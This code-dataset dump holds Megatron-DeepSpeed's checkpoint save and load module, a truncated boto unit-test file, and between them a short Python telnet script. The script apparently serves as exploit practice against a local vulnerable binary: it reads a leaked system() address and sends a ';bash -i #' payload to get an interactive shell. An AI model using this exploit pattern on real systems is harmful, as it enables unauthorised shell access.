megatron/checkpointing.py

adammoody/Megatron-DeepSpeed

972211163608818fe9e5ba821246f18d0a5dc264

[ "MIT" ]

null

megatron/checkpointing.py

adammoody/Megatron-DeepSpeed

972211163608818fe9e5ba821246f18d0a5dc264

[ "MIT" ]

null

# coding=utf-8 # Copyright (c) 2020, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Input/output checkpointing.""" import os import random import sys import numpy as np import torch from megatron.global_vars import codecarbon_tracker_flush from megatron import (get_args, mpu, print_rank_0, update_num_microbatches, utils) _CHECKPOINT_VERSION = None def set_checkpoint_version(value): global _CHECKPOINT_VERSION if _CHECKPOINT_VERSION is not None: assert _CHECKPOINT_VERSION == value, \ "checkpoint versions do not match" _CHECKPOINT_VERSION = value def get_checkpoint_version(): global _CHECKPOINT_VERSION return _CHECKPOINT_VERSION def check_checkpoint_args(checkpoint_args): """Ensure fixed arguments for a model are the same for the input arguments and the one retrieved from checkpoint.""" args = get_args() def _compare(arg_name, old_arg_name=None): if old_arg_name is not None: checkpoint_value = getattr(checkpoint_args, old_arg_name) else: checkpoint_value = getattr(checkpoint_args, arg_name) args_value = getattr(args, arg_name) error_message = '{} value from checkpoint ({}) is not equal to the ' \ 'input argument value ({}).'.format( arg_name, checkpoint_value, args_value) assert checkpoint_value == args_value, error_message _compare('num_layers') _compare('hidden_size') _compare('num_attention_heads') _compare('max_position_embeddings') _compare('position_embedding_type') if args.vocab_file: _compare('make_vocab_size_divisible_by') _compare('padded_vocab_size') _compare('tokenizer_type') if get_checkpoint_version() < 3.0: _compare('tensor_model_parallel_size', old_arg_name='model_parallel_size') if get_checkpoint_version() >= 3.0: _compare('tensor_model_parallel_size') _compare('pipeline_model_parallel_size') def ensure_directory_exists(filename): """Build filename's path if it does not already exists.""" dirname = os.path.dirname(filename) if not os.path.exists(dirname): os.makedirs(dirname) def get_checkpoint_name(checkpoints_path, iteration, release=False): """A unified checkpoint name.""" if release: directory = 'release' else: directory = 'iter_{:07d}'.format(iteration) # Use both the tensor and pipeline MP rank. if mpu.get_pipeline_model_parallel_world_size() == 1: return os.path.join(checkpoints_path, directory, 'mp_rank_{:02d}'.format( mpu.get_tensor_model_parallel_rank()), 'model_optim_rng.pt') return os.path.join(checkpoints_path, directory, 'mp_rank_{:02d}_{:03d}'.format( mpu.get_tensor_model_parallel_rank(), mpu.get_pipeline_model_parallel_rank()), 'model_optim_rng.pt') def get_checkpoint_tracker_filename(checkpoints_path): """Tracker file rescords the latest chckpoint during training to restart from.""" return os.path.join(checkpoints_path, 'latest_checkpointed_iteration.txt') def save_checkpoint(iteration, model, optimizer, lr_scheduler): """Save a model checkpoint.""" args = get_args() # Only rank zero of the data parallel writes to the disk. if not args.deepspeed: model = utils.unwrap_model(model) print_rank_0('saving checkpoint at iteration {:7d} to {}'.format( iteration, args.save)) if not torch.distributed.is_initialized() or mpu.get_data_parallel_rank() == 0 \ or args.deepspeed: # Arguments, iteration, and model. state_dict = {} state_dict['args'] = args state_dict['checkpoint_version'] = 3.0 state_dict['iteration'] = iteration # DeepSpeed saves the model/optimizer/scheduler if not args.deepspeed: if len(model) == 1: state_dict['model'] = model[0].state_dict_for_save_checkpoint() else: for i in range(len(model)): mpu.set_virtual_pipeline_model_parallel_rank(i) state_dict['model%d' % i] = model[i].state_dict_for_save_checkpoint() # Optimizer stuff. if not args.no_save_optim: if optimizer is not None: state_dict['optimizer'] = optimizer.state_dict() if lr_scheduler is not None: state_dict['lr_scheduler'] = lr_scheduler.state_dict() # RNG states. if not args.no_save_rng: state_dict['random_rng_state'] = random.getstate() state_dict['np_rng_state'] = np.random.get_state() state_dict['torch_rng_state'] = torch.get_rng_state() state_dict['cuda_rng_state'] = torch.cuda.get_rng_state() state_dict['rng_tracker_states'] \ = mpu.get_cuda_rng_tracker().get_states() # Save. checkpoint_name = get_checkpoint_name(args.save, iteration) if not args.deepspeed: ensure_directory_exists(checkpoint_name) torch.save(state_dict, checkpoint_name) if args.deepspeed: # Saving is a collective communication checkpoint_name = get_checkpoint_name(args.save, iteration) # Trim off the filename and mp_rank_* directory. for _ in range(3): checkpoint_name = os.path.dirname(checkpoint_name) model[0].save_checkpoint(checkpoint_name, client_state=state_dict) # Wait so everyone is done (necessary) if torch.distributed.is_initialized(): torch.distributed.barrier() print_rank_0(' successfully saved checkpoint at iteration {:7d} to {}'.format( iteration, args.save)) # And update the latest iteration if not torch.distributed.is_initialized() or torch.distributed.get_rank() == 0: tracker_filename = get_checkpoint_tracker_filename(args.save) with open(tracker_filename, 'w') as f: f.write(str(iteration)) # Wait so everyone is done (not necessary) if torch.distributed.is_initialized(): torch.distributed.barrier() # since the code can be exited or aborted in various places we use the checkpoint saving as # a save saving point for the codecarbon tracker. If the program doesn't run to its normal # end, then only the data since the last saved checkpoint will be lost. codecarbon_tracker_flush() def _transpose_first_dim(t, num_splits, num_splits_first, model): input_shape = t.size() # We use a self_attention module but the values extracted aren't # specific to self attention so should work for cross attention as well while hasattr(model, 'module'): model = model.module attention_module = model.language_model.encoder.layers[0].self_attention hidden_size_per_attention_head = attention_module.hidden_size_per_attention_head num_attention_heads_per_partition = attention_module.num_attention_heads_per_partition if num_splits_first: """[num_splits * np * hn, h] -->(view) [num_splits, np, hn, h] -->(tranpose) [np, num_splits, hn, h] -->(view) [np * num_splits * hn, h] """ intermediate_shape = \ (num_splits, num_attention_heads_per_partition, hidden_size_per_attention_head) + input_shape[1:] t = t.view(*intermediate_shape) t = t.transpose(0, 1).contiguous() else: """[np * hn * num_splits, h] -->(view) [np, hn, num_splits, h] -->(tranpose) [np, num_splits, hn, h] -->(view) [np * num_splits * hn, h] """ intermediate_shape = \ (num_attention_heads_per_partition, hidden_size_per_attention_head, num_splits) +\ input_shape[1:] t = t.view(*intermediate_shape) t = t.transpose(1, 2).contiguous() t = t.view(*input_shape) return t def fix_query_key_value_ordering(model, checkpoint_version): """Fix up query/key/value matrix ordering if checkpoint version is smaller than 2.0 """ if checkpoint_version < 2.0: if isinstance(model, list): assert len(model)==1 model = model[0] for name, param in model.named_parameters(): if name.endswith(('.query_key_value.weight', '.query_key_value.bias')): if checkpoint_version == 0: fixed_param = _transpose_first_dim(param.data, 3, True, model) elif checkpoint_version == 1.0: fixed_param = _transpose_first_dim(param.data, 3, False, model) else: print_rank_0(f"Invalid checkpoint version {checkpoint_version}.") sys.exit() param.data.copy_(fixed_param) if name.endswith(('.key_value.weight', '.key_value.bias')): if checkpoint_version == 0: fixed_param = _transpose_first_dim(param.data, 2, True, model) elif checkpoint_version == 1.0: fixed_param = _transpose_first_dim(param.data, 2, False, model) else: print_rank_0(f"Invalid checkpoint version {checkpoint_version}.") sys.exit() param.data.copy_(fixed_param) print_rank_0(" succesfully fixed query-key-values ordering for" " checkpoint version {}".format(checkpoint_version)) def load_checkpoint(model, optimizer, lr_scheduler, load_arg='load', strict=True): """Load a model checkpoint and return the iteration. strict (bool): whether to strictly enforce that the keys in :attr:`state_dict` of the checkpoint match the names of parameters and buffers in model. """ args = get_args() load_dir = getattr(args, load_arg) if args.deepspeed: loaded_dir, state_dict = model[0].load_checkpoint(load_dir) if loaded_dir is None: print_rank_0('WARNING: could not find the metadata file {} '.format( load_dir)) print_rank_0(' will not load any checkpoints and will start from ' 'random') return 0 release = False else: model = utils.unwrap_model(model) # Read the tracker file and set the iteration. tracker_filename = get_checkpoint_tracker_filename(load_dir) # If no tracker file, return iretation zero. if not os.path.isfile(tracker_filename): print_rank_0('WARNING: could not find the metadata file {} '.format( tracker_filename)) print_rank_0(' will not load any checkpoints and will start from ' 'random') return 0 # Otherwise, read the tracker file and either set the iteration or # mark it as a release checkpoint. iteration = 0 release = False with open(tracker_filename, 'r') as f: metastring = f.read().strip() try: iteration = int(metastring) except ValueError: release = metastring == 'release' if not release: print_rank_0('ERROR: Invalid metadata file {}. Exiting'.format( tracker_filename)) sys.exit() assert iteration > 0 or release, 'error parsing metadata file {}'.format( tracker_filename) # Checkpoint. checkpoint_name = get_checkpoint_name(load_dir, iteration, release) print_rank_0(f' loading checkpoint from {args.load} at iteration {iteration}') # Load the checkpoint. try: state_dict = torch.load(checkpoint_name, map_location='cpu') except ModuleNotFoundError: from megatron.fp16_deprecated import loss_scaler # For backward compatibility. print_rank_0(' > deserializing using the old code structure ...') sys.modules['fp16.loss_scaler'] = sys.modules[ 'megatron.fp16_deprecated.loss_scaler'] sys.modules['megatron.fp16.loss_scaler'] = sys.modules[ 'megatron.fp16_deprecated.loss_scaler'] state_dict = torch.load(checkpoint_name, map_location='cpu') sys.modules.pop('fp16.loss_scaler', None) sys.modules.pop('megatron.fp16.loss_scaler', None) except BaseException as e: print_rank_0('could not load the checkpoint') print_rank_0(e) sys.exit() # set checkpoint version set_checkpoint_version(state_dict.get('checkpoint_version', 0)) # Set iteration. if args.finetune or release: iteration = 0 else: try: iteration = state_dict['iteration'] except KeyError: try: # Backward compatible with older checkpoints iteration = state_dict['total_iters'] except KeyError: print_rank_0('A metadata file exists but unable to load ' 'iteration from checkpoint {}, exiting'.format( checkpoint_name)) sys.exit() # Check arguments. assert args.consumed_train_samples == 0 assert args.consumed_valid_samples == 0 if 'args' in state_dict: checkpoint_args = state_dict['args'] check_checkpoint_args(checkpoint_args) args.consumed_train_samples = getattr(checkpoint_args, 'consumed_train_samples', 0) update_num_microbatches(consumed_samples=args.consumed_train_samples) args.consumed_valid_samples = getattr(checkpoint_args, 'consumed_valid_samples', 0) else: print_rank_0('could not find arguments in the checkpoint ...') # Model. if not args.deepspeed: if len(model) == 1: model[0].load_state_dict(state_dict['model'], strict=strict) else: for i in range(len(model)): mpu.set_virtual_pipeline_model_parallel_rank(i) model[i].load_state_dict(state_dict['model%d' % i], strict=strict) # Fix up query/key/value matrix ordering if needed checkpoint_version = get_checkpoint_version() print_rank_0(f' checkpoint version {checkpoint_version}') fix_query_key_value_ordering(model, checkpoint_version) # Optimizer. if not args.deepspeed: if not release and not args.finetune and not args.no_load_optim: try: if optimizer is not None: optimizer.load_state_dict(state_dict['optimizer']) if lr_scheduler is not None: lr_scheduler.load_state_dict(state_dict['lr_scheduler']) except KeyError: print_rank_0('Unable to load optimizer from checkpoint {}. ' 'Specify --no-load-optim or --finetune to prevent ' 'attempting to load the optimizer state, ' 'exiting ...'.format(checkpoint_name)) sys.exit() # rng states. if not release and not args.finetune and not args.no_load_rng: try: random.setstate(state_dict['random_rng_state']) np.random.set_state(state_dict['np_rng_state']) torch.set_rng_state(state_dict['torch_rng_state']) torch.cuda.set_rng_state(state_dict['cuda_rng_state']) # Check for empty states array if not state_dict['rng_tracker_states']: raise KeyError mpu.get_cuda_rng_tracker().set_states( state_dict['rng_tracker_states']) except KeyError: print_rank_0('Unable to load rng state from checkpoint {}. ' 'Specify --no-load-rng or --finetune to prevent ' 'attempting to load the rng state, ' 'exiting ...'.format(checkpoint_name)) sys.exit() # Some utilities want to load a checkpoint without distributed being initialized if torch.distributed.is_initialized(): torch.distributed.barrier() print_rank_0(f' successfully loaded checkpoint from {args.load} ' f'at iteration {iteration}') return iteration def load_biencoder_checkpoint(model, only_query_model=False, only_context_model=False, custom_load_path=None): """ selectively load retrieval models for indexing/retrieving from saved checkpoints """ args = get_args() model = utils.unwrap_model(model) load_path = custom_load_path if custom_load_path is not None else args.load tracker_filename = get_checkpoint_tracker_filename(load_path) with open(tracker_filename, 'r') as f: iteration = int(f.read().strip()) checkpoint_name = get_checkpoint_name(load_path, iteration, False) if mpu.get_data_parallel_rank() == 0: print('global rank {} is loading checkpoint {}'.format( torch.distributed.get_rank(), checkpoint_name)) state_dict = torch.load(checkpoint_name, map_location='cpu') ret_state_dict = state_dict['model'] if only_query_model: ret_state_dict.pop('context_model') if only_context_model: ret_state_dict.pop('query_model') assert len(model) == 1 model[0].load_state_dict(ret_state_dict) torch.distributed.barrier() if mpu.get_data_parallel_rank() == 0: print(' successfully loaded {}'.format(checkpoint_name)) return model

39.980477

95

0.629646

import os import random import sys import numpy as np import torch from megatron.global_vars import codecarbon_tracker_flush from megatron import (get_args, mpu, print_rank_0, update_num_microbatches, utils) _CHECKPOINT_VERSION = None def set_checkpoint_version(value): global _CHECKPOINT_VERSION if _CHECKPOINT_VERSION is not None: assert _CHECKPOINT_VERSION == value, \ "checkpoint versions do not match" _CHECKPOINT_VERSION = value def get_checkpoint_version(): global _CHECKPOINT_VERSION return _CHECKPOINT_VERSION def check_checkpoint_args(checkpoint_args): args = get_args() def _compare(arg_name, old_arg_name=None): if old_arg_name is not None: checkpoint_value = getattr(checkpoint_args, old_arg_name) else: checkpoint_value = getattr(checkpoint_args, arg_name) args_value = getattr(args, arg_name) error_message = '{} value from checkpoint ({}) is not equal to the ' \ 'input argument value ({}).'.format( arg_name, checkpoint_value, args_value) assert checkpoint_value == args_value, error_message _compare('num_layers') _compare('hidden_size') _compare('num_attention_heads') _compare('max_position_embeddings') _compare('position_embedding_type') if args.vocab_file: _compare('make_vocab_size_divisible_by') _compare('padded_vocab_size') _compare('tokenizer_type') if get_checkpoint_version() < 3.0: _compare('tensor_model_parallel_size', old_arg_name='model_parallel_size') if get_checkpoint_version() >= 3.0: _compare('tensor_model_parallel_size') _compare('pipeline_model_parallel_size') def ensure_directory_exists(filename): dirname = os.path.dirname(filename) if not os.path.exists(dirname): os.makedirs(dirname) def get_checkpoint_name(checkpoints_path, iteration, release=False): if release: directory = 'release' else: directory = 'iter_{:07d}'.format(iteration) if mpu.get_pipeline_model_parallel_world_size() == 1: return os.path.join(checkpoints_path, directory, 'mp_rank_{:02d}'.format( mpu.get_tensor_model_parallel_rank()), 'model_optim_rng.pt') return os.path.join(checkpoints_path, directory, 'mp_rank_{:02d}_{:03d}'.format( mpu.get_tensor_model_parallel_rank(), mpu.get_pipeline_model_parallel_rank()), 'model_optim_rng.pt') def get_checkpoint_tracker_filename(checkpoints_path): return os.path.join(checkpoints_path, 'latest_checkpointed_iteration.txt') def save_checkpoint(iteration, model, optimizer, lr_scheduler): args = get_args() if not args.deepspeed: model = utils.unwrap_model(model) print_rank_0('saving checkpoint at iteration {:7d} to {}'.format( iteration, args.save)) if not torch.distributed.is_initialized() or mpu.get_data_parallel_rank() == 0 \ or args.deepspeed: state_dict = {} state_dict['args'] = args state_dict['checkpoint_version'] = 3.0 state_dict['iteration'] = iteration if not args.deepspeed: if len(model) == 1: state_dict['model'] = model[0].state_dict_for_save_checkpoint() else: for i in range(len(model)): mpu.set_virtual_pipeline_model_parallel_rank(i) state_dict['model%d' % i] = model[i].state_dict_for_save_checkpoint() if not args.no_save_optim: if optimizer is not None: state_dict['optimizer'] = optimizer.state_dict() if lr_scheduler is not None: state_dict['lr_scheduler'] = lr_scheduler.state_dict() if not args.no_save_rng: state_dict['random_rng_state'] = random.getstate() state_dict['np_rng_state'] = np.random.get_state() state_dict['torch_rng_state'] = torch.get_rng_state() state_dict['cuda_rng_state'] = torch.cuda.get_rng_state() state_dict['rng_tracker_states'] \ = mpu.get_cuda_rng_tracker().get_states() checkpoint_name = get_checkpoint_name(args.save, iteration) if not args.deepspeed: ensure_directory_exists(checkpoint_name) torch.save(state_dict, checkpoint_name) if args.deepspeed: checkpoint_name = get_checkpoint_name(args.save, iteration) for _ in range(3): checkpoint_name = os.path.dirname(checkpoint_name) model[0].save_checkpoint(checkpoint_name, client_state=state_dict) if torch.distributed.is_initialized(): torch.distributed.barrier() print_rank_0(' successfully saved checkpoint at iteration {:7d} to {}'.format( iteration, args.save)) if not torch.distributed.is_initialized() or torch.distributed.get_rank() == 0: tracker_filename = get_checkpoint_tracker_filename(args.save) with open(tracker_filename, 'w') as f: f.write(str(iteration)) if torch.distributed.is_initialized(): torch.distributed.barrier() # end, then only the data since the last saved checkpoint will be lost. codecarbon_tracker_flush() def _transpose_first_dim(t, num_splits, num_splits_first, model): input_shape = t.size() # We use a self_attention module but the values extracted aren't while hasattr(model, 'module'): model = model.module attention_module = model.language_model.encoder.layers[0].self_attention hidden_size_per_attention_head = attention_module.hidden_size_per_attention_head num_attention_heads_per_partition = attention_module.num_attention_heads_per_partition if num_splits_first: intermediate_shape = \ (num_splits, num_attention_heads_per_partition, hidden_size_per_attention_head) + input_shape[1:] t = t.view(*intermediate_shape) t = t.transpose(0, 1).contiguous() else: """[np * hn * num_splits, h] -->(view) [np, hn, num_splits, h] -->(tranpose) [np, num_splits, hn, h] -->(view) [np * num_splits * hn, h] """ intermediate_shape = \ (num_attention_heads_per_partition, hidden_size_per_attention_head, num_splits) +\ input_shape[1:] t = t.view(*intermediate_shape) t = t.transpose(1, 2).contiguous() t = t.view(*input_shape) return t def fix_query_key_value_ordering(model, checkpoint_version): if checkpoint_version < 2.0: if isinstance(model, list): assert len(model)==1 model = model[0] for name, param in model.named_parameters(): if name.endswith(('.query_key_value.weight', '.query_key_value.bias')): if checkpoint_version == 0: fixed_param = _transpose_first_dim(param.data, 3, True, model) elif checkpoint_version == 1.0: fixed_param = _transpose_first_dim(param.data, 3, False, model) else: print_rank_0(f"Invalid checkpoint version {checkpoint_version}.") sys.exit() param.data.copy_(fixed_param) if name.endswith(('.key_value.weight', '.key_value.bias')): if checkpoint_version == 0: fixed_param = _transpose_first_dim(param.data, 2, True, model) elif checkpoint_version == 1.0: fixed_param = _transpose_first_dim(param.data, 2, False, model) else: print_rank_0(f"Invalid checkpoint version {checkpoint_version}.") sys.exit() param.data.copy_(fixed_param) print_rank_0(" succesfully fixed query-key-values ordering for" " checkpoint version {}".format(checkpoint_version)) def load_checkpoint(model, optimizer, lr_scheduler, load_arg='load', strict=True): args = get_args() load_dir = getattr(args, load_arg) if args.deepspeed: loaded_dir, state_dict = model[0].load_checkpoint(load_dir) if loaded_dir is None: print_rank_0('WARNING: could not find the metadata file {} '.format( load_dir)) print_rank_0(' will not load any checkpoints and will start from ' 'random') return 0 release = False else: model = utils.unwrap_model(model) tracker_filename = get_checkpoint_tracker_filename(load_dir) if not os.path.isfile(tracker_filename): print_rank_0('WARNING: could not find the metadata file {} '.format( tracker_filename)) print_rank_0(' will not load any checkpoints and will start from ' 'random') return 0 iteration = 0 release = False with open(tracker_filename, 'r') as f: metastring = f.read().strip() try: iteration = int(metastring) except ValueError: release = metastring == 'release' if not release: print_rank_0('ERROR: Invalid metadata file {}. Exiting'.format( tracker_filename)) sys.exit() assert iteration > 0 or release, 'error parsing metadata file {}'.format( tracker_filename) checkpoint_name = get_checkpoint_name(load_dir, iteration, release) print_rank_0(f' loading checkpoint from {args.load} at iteration {iteration}') try: state_dict = torch.load(checkpoint_name, map_location='cpu') except ModuleNotFoundError: from megatron.fp16_deprecated import loss_scaler print_rank_0(' > deserializing using the old code structure ...') sys.modules['fp16.loss_scaler'] = sys.modules[ 'megatron.fp16_deprecated.loss_scaler'] sys.modules['megatron.fp16.loss_scaler'] = sys.modules[ 'megatron.fp16_deprecated.loss_scaler'] state_dict = torch.load(checkpoint_name, map_location='cpu') sys.modules.pop('fp16.loss_scaler', None) sys.modules.pop('megatron.fp16.loss_scaler', None) except BaseException as e: print_rank_0('could not load the checkpoint') print_rank_0(e) sys.exit() set_checkpoint_version(state_dict.get('checkpoint_version', 0)) if args.finetune or release: iteration = 0 else: try: iteration = state_dict['iteration'] except KeyError: try: iteration = state_dict['total_iters'] except KeyError: print_rank_0('A metadata file exists but unable to load ' 'iteration from checkpoint {}, exiting'.format( checkpoint_name)) sys.exit() assert args.consumed_train_samples == 0 assert args.consumed_valid_samples == 0 if 'args' in state_dict: checkpoint_args = state_dict['args'] check_checkpoint_args(checkpoint_args) args.consumed_train_samples = getattr(checkpoint_args, 'consumed_train_samples', 0) update_num_microbatches(consumed_samples=args.consumed_train_samples) args.consumed_valid_samples = getattr(checkpoint_args, 'consumed_valid_samples', 0) else: print_rank_0('could not find arguments in the checkpoint ...') if not args.deepspeed: if len(model) == 1: model[0].load_state_dict(state_dict['model'], strict=strict) else: for i in range(len(model)): mpu.set_virtual_pipeline_model_parallel_rank(i) model[i].load_state_dict(state_dict['model%d' % i], strict=strict) checkpoint_version = get_checkpoint_version() print_rank_0(f' checkpoint version {checkpoint_version}') fix_query_key_value_ordering(model, checkpoint_version) if not args.deepspeed: if not release and not args.finetune and not args.no_load_optim: try: if optimizer is not None: optimizer.load_state_dict(state_dict['optimizer']) if lr_scheduler is not None: lr_scheduler.load_state_dict(state_dict['lr_scheduler']) except KeyError: print_rank_0('Unable to load optimizer from checkpoint {}. ' 'Specify --no-load-optim or --finetune to prevent ' 'attempting to load the optimizer state, ' 'exiting ...'.format(checkpoint_name)) sys.exit() if not release and not args.finetune and not args.no_load_rng: try: random.setstate(state_dict['random_rng_state']) np.random.set_state(state_dict['np_rng_state']) torch.set_rng_state(state_dict['torch_rng_state']) torch.cuda.set_rng_state(state_dict['cuda_rng_state']) if not state_dict['rng_tracker_states']: raise KeyError mpu.get_cuda_rng_tracker().set_states( state_dict['rng_tracker_states']) except KeyError: print_rank_0('Unable to load rng state from checkpoint {}. ' 'Specify --no-load-rng or --finetune to prevent ' 'attempting to load the rng state, ' 'exiting ...'.format(checkpoint_name)) sys.exit() if torch.distributed.is_initialized(): torch.distributed.barrier() print_rank_0(f' successfully loaded checkpoint from {args.load} ' f'at iteration {iteration}') return iteration def load_biencoder_checkpoint(model, only_query_model=False, only_context_model=False, custom_load_path=None): args = get_args() model = utils.unwrap_model(model) load_path = custom_load_path if custom_load_path is not None else args.load tracker_filename = get_checkpoint_tracker_filename(load_path) with open(tracker_filename, 'r') as f: iteration = int(f.read().strip()) checkpoint_name = get_checkpoint_name(load_path, iteration, False) if mpu.get_data_parallel_rank() == 0: print('global rank {} is loading checkpoint {}'.format( torch.distributed.get_rank(), checkpoint_name)) state_dict = torch.load(checkpoint_name, map_location='cpu') ret_state_dict = state_dict['model'] if only_query_model: ret_state_dict.pop('context_model') if only_context_model: ret_state_dict.pop('query_model') assert len(model) == 1 model[0].load_state_dict(ret_state_dict) torch.distributed.barrier() if mpu.get_data_parallel_rank() == 0: print(' successfully loaded {}'.format(checkpoint_name)) return model

true

f7328e07aa94a65699960aed21b01b92175dfc88

1,011

py

Python

random_stuff/telnetlib_logging.py

adw1n/competitive-programming

b28a166e7c93d7b239c0a6b09eafd6020685afdf

[ "WTFPL" ]

null

random_stuff/telnetlib_logging.py

adw1n/competitive-programming

b28a166e7c93d7b239c0a6b09eafd6020685afdf

[ "WTFPL" ]

null

random_stuff/telnetlib_logging.py

adw1n/competitive-programming

b28a166e7c93d7b239c0a6b09eafd6020685afdf

[ "WTFPL" ]

null

#!/usr/bin/env python3 import telnetlib import struct import logging HOST="localhost" #while true; do nc -l -p 1111 -e /tmp/vuln; done old_write=telnetlib.Telnet.write def write(self, str_: bytes): try: print("w: ",str_.decode("utf-8")) except UnicodeDecodeError: print("w: ",str_) old_write(self,str_) telnetlib.Telnet.write=write old_read_until=telnetlib.Telnet.read_until def read_until(self, *args, **kwargs): s=old_read_until(self,*args, **kwargs) try: print("r: ", s.decode("utf-8")) except UnicodeDecodeError: print("r: ",s) return s telnetlib.Telnet.read_until=read_until tn = telnetlib.Telnet(HOST,1111) tn.read_until(match=b": ") tn.write(b"4\n") help_txt=tn.read_until(match=b": ") system=help_txt.decode("utf-8").split("- ")[1].split("\n")[0] system=int(system,16) tn.write(b"1\n") tn.read_until(match=b": ") system=struct.pack("I",system) tn.write(b";bash -i #\x00\x00\x00\x00"+system+b"\n") print("enjoy the shell") tn.interact()

23.511628

61

0.67458

import telnetlib import struct import logging HOST="localhost" old_write=telnetlib.Telnet.write def write(self, str_: bytes): try: print("w: ",str_.decode("utf-8")) except UnicodeDecodeError: print("w: ",str_) old_write(self,str_) telnetlib.Telnet.write=write old_read_until=telnetlib.Telnet.read_until def read_until(self, *args, **kwargs): s=old_read_until(self,*args, **kwargs) try: print("r: ", s.decode("utf-8")) except UnicodeDecodeError: print("r: ",s) return s telnetlib.Telnet.read_until=read_until tn = telnetlib.Telnet(HOST,1111) tn.read_until(match=b": ") tn.write(b"4\n") help_txt=tn.read_until(match=b": ") system=help_txt.decode("utf-8").split("- ")[1].split("\n")[0] system=int(system,16) tn.write(b"1\n") tn.read_until(match=b": ") system=struct.pack("I",system) tn.write(b";bash -i #\x00\x00\x00\x00"+system+b"\n") print("enjoy the shell") tn.interact()

true

f7328e7d8e965d4fc8718dd18bf2b119145af16a

9,759

py

Python

platform/gsutil/third_party/boto/tests/unit/utils/test_utils.py

IsaacHuang/google-cloud-sdk

52afa5d1a75dff08f4f5380c5cccc015bf796ca5

[ "Apache-2.0" ]

1

2021-04-30T05:26:20.000Z

platform/gsutil/third_party/boto/tests/unit/utils/test_utils.py

IsaacHuang/google-cloud-sdk

52afa5d1a75dff08f4f5380c5cccc015bf796ca5

[ "Apache-2.0" ]

null

platform/gsutil/third_party/boto/tests/unit/utils/test_utils.py

IsaacHuang/google-cloud-sdk

52afa5d1a75dff08f4f5380c5cccc015bf796ca5

[ "Apache-2.0" ]

2

2020-07-25T05:03:06.000Z

2020-11-04T04:55:57.000Z

# Copyright (c) 2010 Robert Mela # # Permission is hereby granted, free of charge, to any person obtaining a # copy of this software and associated documentation files (the # "Software"), to deal in the Software without restriction, including # without limitation the rights to use, copy, modify, merge, publish, dis- # tribute, sublicense, and/or sell copies of the Software, and to permit # persons to whom the Software is furnished to do so, subject to the fol- # lowing conditions: # # The above copyright notice and this permission notice shall be included # in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS # OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABIL- # ITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT # SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, # WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS # IN THE SOFTWARE. # try: import unittest2 as unittest except ImportError: import unittest import datetime import hashlib import hmac import locale import mock import thread import time import boto.utils from boto.utils import Password from boto.utils import pythonize_name from boto.utils import _build_instance_metadata_url from boto.utils import get_instance_userdata from boto.utils import retry_url from boto.utils import LazyLoadMetadata from boto.compat import json @unittest.skip("http://bugs.python.org/issue7980") class TestThreadImport(unittest.TestCase): def test_strptime(self): def f(): for m in xrange(1, 13): for d in xrange(1,29): boto.utils.parse_ts('2013-01-01T00:00:00Z') for _ in xrange(10): thread.start_new_thread(f, ()) time.sleep(3) class TestPassword(unittest.TestCase): """Test basic password functionality""" def clstest(self, cls): """Insure that password.__eq__ hashes test value before compare.""" password = cls('foo') self.assertNotEquals(password, 'foo') password.set('foo') hashed = str(password) self.assertEquals(password, 'foo') self.assertEquals(password.str, hashed) password = cls(hashed) self.assertNotEquals(password.str, 'foo') self.assertEquals(password, 'foo') self.assertEquals(password.str, hashed) def test_aaa_version_1_9_default_behavior(self): self.clstest(Password) def test_custom_hashclass(self): class SHA224Password(Password): hashfunc = hashlib.sha224 password = SHA224Password() password.set('foo') self.assertEquals(hashlib.sha224('foo').hexdigest(), str(password)) def test_hmac(self): def hmac_hashfunc(cls, msg): return hmac.new('mysecretkey', msg) class HMACPassword(Password): hashfunc = hmac_hashfunc self.clstest(HMACPassword) password = HMACPassword() password.set('foo') self.assertEquals(str(password), hmac.new('mysecretkey', 'foo').hexdigest()) def test_constructor(self): hmac_hashfunc = lambda msg: hmac.new('mysecretkey', msg) password = Password(hashfunc=hmac_hashfunc) password.set('foo') self.assertEquals(password.str, hmac.new('mysecretkey', 'foo').hexdigest()) class TestPythonizeName(unittest.TestCase): def test_empty_string(self): self.assertEqual(pythonize_name(''), '') def test_all_lower_case(self): self.assertEqual(pythonize_name('lowercase'), 'lowercase') def test_all_upper_case(self): self.assertEqual(pythonize_name('UPPERCASE'), 'uppercase') def test_camel_case(self): self.assertEqual(pythonize_name('OriginallyCamelCased'), 'originally_camel_cased') def test_already_pythonized(self): self.assertEqual(pythonize_name('already_pythonized'), 'already_pythonized') def test_multiple_upper_cased_letters(self): self.assertEqual(pythonize_name('HTTPRequest'), 'http_request') self.assertEqual(pythonize_name('RequestForHTTP'), 'request_for_http') def test_string_with_numbers(self): self.assertEqual(pythonize_name('HTTPStatus200Ok'), 'http_status_200_ok') class TestBuildInstanceMetadataURL(unittest.TestCase): def test_normal(self): # This is the all-defaults case. self.assertEqual(_build_instance_metadata_url( 'http://169.254.169.254', 'latest', 'meta-data/' ), 'http://169.254.169.254/latest/meta-data/' ) def test_custom_path(self): self.assertEqual(_build_instance_metadata_url( 'http://169.254.169.254', 'latest', 'dynamic/' ), 'http://169.254.169.254/latest/dynamic/' ) def test_custom_version(self): self.assertEqual(_build_instance_metadata_url( 'http://169.254.169.254', '1.0', 'meta-data/' ), 'http://169.254.169.254/1.0/meta-data/' ) def test_custom_url(self): self.assertEqual(_build_instance_metadata_url( 'http://10.0.1.5', 'latest', 'meta-data/' ), 'http://10.0.1.5/latest/meta-data/' ) def test_all_custom(self): self.assertEqual(_build_instance_metadata_url( 'http://10.0.1.5', '2013-03-22', 'user-data' ), 'http://10.0.1.5/2013-03-22/user-data' ) class TestRetryURL(unittest.TestCase): def setUp(self): self.urlopen_patch = mock.patch('urllib2.urlopen') self.opener_patch = mock.patch('urllib2.build_opener') self.urlopen = self.urlopen_patch.start() self.opener = 